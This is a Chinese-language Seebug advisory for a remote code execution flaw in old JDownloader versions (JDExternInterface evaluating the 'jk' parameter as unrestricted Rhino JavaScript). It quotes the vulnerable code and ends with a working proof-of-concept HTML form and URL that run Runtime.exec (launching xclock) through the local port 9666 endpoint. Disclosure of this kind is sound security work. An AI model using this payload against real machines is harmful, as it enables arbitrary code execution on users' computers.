JDownloader JDExternInterface.java远程代码执行漏洞

2010-02-09T00:00:00
ID SSV:19106
Type seebug
Reporter Root
Modified 2010-02-09T00:00:00

Description

BUGTRAQ ID: 38143

JDownloader是专为Rapidshare等站点设计的网盘下载工具。

JDownloader在下载过程中所传输的密钥可能为明文或JavaScript代码,之后在Mozilla Rhino Javascript实现中执行。以下是相关代码:

(plugins/JDExternInterface.jar/JDExternInterface.java):

String jk = Encoding.urlDecode(request.getParameters().get("jk"), false); [...] Context cx = Context.enter(); Scriptable scope = cx.initStandardObjects(); String fun = jk + " f()"; Object result = cx.evaluateString(scope, fun, "<cmd>", 1, null); key = JDHexUtils.getByteArray(Context.toString(result)); Context.exit();

这里所初始化的默认上下文允许未加任何限制的执行JavaScript,而JavaScript可以导入和使用任意Java库。

在发送表单数据后,JDownloader会请求添加到外部站点或应用的链接(具体取决于所传输的Referer/Source和User- Agent),用户确认后就会执行JAVA代码。

JDownloader < 0.9.334 厂商补丁:

JDownloader

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://jdownloader.org/home/index?s=lng_en

                                        
                                            
                                                &lt;form action=&quot;http://localhost:9666/flash/addcrypted2&quot; method=&quot;post&quot;&gt;
&lt;textarea name=&quot;jk&quot;&gt;
function f() {
    var run = java.lang.Runtime.getRuntime();
    run.exec('/usr/bin/xclock');

    return '42';
}
&lt;/textarea&gt;
&lt;input type=&quot;hidden&quot; name=&quot;passwords&quot; value=&quot;invalid&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;source&quot; value=&quot;http://example.com/invalid&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;crypted&quot; value=&quot;invalid&quot; /&gt;
&lt;input type=&quot;submit&quot; value=&quot;CLICK&quot; /&gt;
&lt;/form&gt;

或者:

http://localhost:9666/flash/addcrypted2?jk=function+f()+%7B+var+run+%3D
+java.lang.Runtime.getRuntime()%3B+run.exec('%2Fusr%2Fbin%2Fxclock')%3B
+return+'42'%3B+%7D&amp;passwords=invalid&amp;source=http://example.com/invalid
&amp;crypted=invalid